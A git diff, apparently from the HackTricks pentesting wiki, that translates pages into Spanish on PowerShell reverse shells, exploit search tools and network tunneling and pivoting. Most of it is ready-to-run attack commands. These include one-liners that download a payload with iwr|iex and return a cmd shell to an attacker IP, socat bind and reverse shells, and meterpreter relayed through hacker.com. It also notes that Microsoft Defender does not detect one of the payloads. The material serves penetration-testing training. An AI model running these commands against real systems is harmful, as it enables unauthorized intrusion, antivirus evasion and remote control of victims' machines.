otras shells de nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +Descargar, iniciar un servidor web, iniciar el listener y ejecutarlo en el lado de la víctima: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender no lo detecta como código malicioso (aún, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**Otras opciones ofrecidas por powercat:** +Shells bind, Reverse shell (TCP, UDP, DNS), Redirección de puertos, subir/bajar, Generar payloads, Servir archivos... ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +Crea un lanzador de powershell, guárdalo en un archivo y descárgalo y ejecútalo. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**Detectado como código malicioso** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +Crea una versión de powershell de la puerta trasera de metasploit usando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +Inicie msfconsole con el recurso creado: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +Inicie un servidor web que sirva el archivo _powershell_attack.txt_ y ejecute en la víctima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**Detectado como código malicioso** -**Detected as malicious code** +## Más -## More +[PS>Attack](https://github.com/jaredhaight/PSAttack) consola PS con algunos módulos ofensivos de PS precargados (cifrados)\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ +WinPWN](https://github.com/SecureThisShit/WinPwn) consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX) -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) - -## References +## Referencias - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..97b866b4f 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# Buscar Exploits {{#include ../banners/hacktricks-training.md}} -
+### Navegador -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Siempre busca en "google" u otros: **\ \[version] exploit** -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - -### Browser - -Always search in "google" or others: **\ \[version] exploit** - -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +También deberías probar la **búsqueda de exploits de shodan** en [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +Útil para buscar exploits para servicios en **exploitdb desde la consola.** ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) es otra herramienta para buscar exploits ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +Si no se encuentra nada, intenta buscar la tecnología utilizada en [https://packetstormsecurity.com/](https://packetstormsecurity.com) ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +También puedes buscar en la base de datos de vulners: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +Lista curada de exploits similar a GTFOBins con filtros por tipo de vulnerabilidad (Escalación de Privilegios Local, Ejecución Remota de Código, etc.), tipo de servicio (Web, SMB, SSH, RDP, etc.), sistema operativo y laboratorios prácticos (enlaces a máquinas donde puedes jugar con exploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. +search_vulns te permite buscar vulnerabilidades y exploits conocidos también: [**https://search-vulns.com/**](https://search-vulns.com/). Utiliza varias fuentes de datos como el NVD, el Exploit-DB, PoC-in-GitHub, la base de datos de Asesoría de Seguridad de GitHub y endoflife.date. -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..3b62b78c6 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# Túneles y Reenvío de Puertos {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Consejo de Nmap > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** y **SYN** los escaneos no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione. ## **Bash** **Host -> Jump -> InternalA -> InternalB** - ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +Conexión gráfica SSH (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` - ### Local Port2Port -Open new Port in SSH Server --> Other port - +Abrir nuevo puerto en el servidor SSH --> Otro puerto ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +Puerto local --> Host comprometido (SSH) --> Tercera_caja:Puerto ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +Puerto local --> Host comprometido (SSH) --> Donde sea ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### Reenvío de Puertos Inverso -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +Esto es útil para obtener shells inversos de hosts internos a través de una DMZ a tu host: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +Necesitas **root en ambos dispositivos** (ya que vas a crear nuevas interfaces) y la configuración de sshd debe permitir el inicio de sesión como root:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +Habilitar el reenvío en el lado del servidor ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +Establecer una nueva ruta en el lado del cliente ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +Puedes **túnel** a través de **ssh** todo el **tráfico** a una **subred** a través de un host.\ +Por ejemplo, reenvía todo el tráfico que va a 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +Conéctese con una clave privada ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +Puerto local --> Host comprometido (sesión activa) --> Tercera_caja:Puerto ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +Otra forma: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike ### SOCKS proxy -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. - +Abre un puerto en el teamserver escuchando en todas las interfaces que se pueden usar para **rutar el tráfico a través del beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> En este caso, el **puerto se abre en el host del beacon**, no en el Team Server y el tráfico se envía al Team Server y de allí al host:puerto indicado. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +Para tener en cuenta: -To note: - -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. +- El reenvío de puerto inverso de Beacon está diseñado para **túnel tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**. +- El tráfico está **tuneado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P. +- **No se requieren privilegios de administrador** para crear reenvíos de puerto inverso en puertos altos. ### rPort2Port local > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> En este caso, el **puerto se abre en el host de beacon**, no en el Servidor del Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor del Equipo) y desde allí al host:puerto indicado. ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +Necesitas subir un archivo web túnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +Puedes descargarlo desde la página de lanzamientos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Necesitas usar la **misma versión para el cliente y el servidor** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### Reenvío de puertos ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** +**Usa la misma versión para el agente y el proxy** ### Tunneling - ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +Pivotar a través de **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell de enlace ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### Shell inversa ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### Port2Port a través de socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### Meterpreter a través de SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +Puedes eludir un **proxy no autenticado** ejecutando esta línea en lugar de la última en la consola de la víctima: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +### Túnel SSL Socat -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) - -### SSL Socat Tunnel - -**/bin/sh console** - -Create certificates on both sides: Client and Server +**/bin/sh consola** +Cree certificados en ambos lados: Cliente y Servidor ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +308,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +Conectar el puerto SSH local (22) al puerto 443 del host atacante ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +Es como una versión de consola de PuTTY (las opciones son muy similares a un cliente ssh). +Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio y puerto ssh para poder tener una conexión inversa. Luego, para redirigir solo un puerto accesible localmente a un puerto en nuestra máquina: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +Necesitas ser un administrador local (para cualquier puerto) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +339,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +Necesitas tener **acceso RDP sobre el sistema**.\ +Descargar: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túnel de paquetes sobre la conexión RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**. -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**Conéctate** a través de **RDP** y sube y ejecuta en la máquina de la víctima el binario `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +Ahora, confirma en tu máquina (atacante) que el puerto 1080 está escuchando: ``` netstat -antb | findstr 1080 ``` +Ahora puedes usar [**Proxifier**](https://www.proxifier.com/) **para enviar el tráfico a través de ese puerto.** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Proxificar aplicaciones GUI de Windows -## Proxify Windows GUI Apps +Puedes hacer que las aplicaciones GUI de Windows naveguen a través de un proxy usando [**Proxifier**](https://www.proxifier.com/).\ +En **Perfil -> Servidores Proxy** agrega la IP y el puerto del servidor SOCKS.\ +En **Perfil -> Reglas de Proxificación** agrega el nombre del programa a proxificar y las conexiones a las IPs que deseas proxificar. -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## Bypass de proxy NTLM +La herramienta mencionada anteriormente: **Rpivot**\ +**OpenVPN** también puede eludirlo, configurando estas opciones en el archivo de configuración: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +Se autentica contra un proxy y vincula un puerto local que se reenvía al servicio externo que especifiques. Luego, puedes usar la herramienta de tu elección a través de este puerto.\ +Por ejemplo, reenvía el puerto 443. ``` Username Alice Password P@ssw0rd @@ -471,13 +390,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +Ahora, si configuras por ejemplo en la víctima el servicio **SSH** para escuchar en el puerto 443. Puedes conectarte a él a través del puerto 2222 del atacante.\ +También podrías usar un **meterpreter** que se conecta a localhost:443 y el atacante está escuchando en el puerto 2222. ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Un proxy inverso creado por Microsoft. Puedes encontrarlo aquí: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -485,26 +403,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +Se necesita root en ambos sistemas para crear adaptadores tun y túnel datos entre ellos utilizando consultas DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +El túnel será muy lento. Puedes crear una conexión SSH comprimida a través de este túnel utilizando: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**Descárgalo desde aquí**](https://github.com/iagox86/dnscat2)**.** +Establece un canal C\&C a través de DNS. No necesita privilegios de root. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +426,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **En PowerShell** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +Puedes usar [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) para ejecutar un cliente dnscat2 en powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` - -#### **Port forwarding with dnscat** - +#### **Reenvío de puertos con dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### Cambiar DNS de proxychains -#### Change proxychains DNS +Proxychains intercepta la llamada `gethostbyname` de libc y canaliza la solicitud de DNS tcp a través del proxy socks. Por **defecto**, el servidor **DNS** que utiliza proxychains es **4.2.2.2** (codificado). Para cambiarlo, edita el archivo: _/usr/lib/proxychains3/proxyresolv_ y cambia la IP. Si estás en un **entorno de Windows**, podrías establecer la IP del **controlador de dominio**. -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Túneles en Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## Túnel ICMP ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +Se necesita root en ambos sistemas para crear adaptadores tun y canalizar datos entre ellos utilizando solicitudes de eco ICMP. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +[**Descárgalo desde aquí**](https://github.com/utoni/ptunnel-ng.git). ```bash # Generate it sudo ./autogen.sh @@ -570,32 +475,28 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -&#xNAN;_Exposition URI are like:_ **UID.ngrok.io** +[**ngrok**](https://ngrok.com/) **es una herramienta para exponer soluciones a Internet en una línea de comando.**\ +&#xNAN;_Exposition URI son como:_ **UID.ngrok.io** -### Installation - -- Create an account: https://ngrok.com/signup -- Client download: +### Instalación +- Crea una cuenta: https://ngrok.com/signup +- Descarga del cliente: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### Usos básicos -### Basic usages +**Documentación:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -_It is also possible to add authentication and TLS, if necessary._ - -#### Tunneling TCP +_También es posible agregar autenticación y TLS, si es necesario._ +#### Túnel TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -603,49 +504,42 @@ _It is also possible to add authentication and TLS, if necessary._ # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` - -#### Exposing files with HTTP - +#### Exponiendo archivos con HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` - #### Sniffing HTTP calls -_Useful for XSS,SSRF,SSTI ..._\ -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). +_Uso útil para XSS, SSRF, SSTI ..._\ +Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). #### Tunneling internal HTTP service - 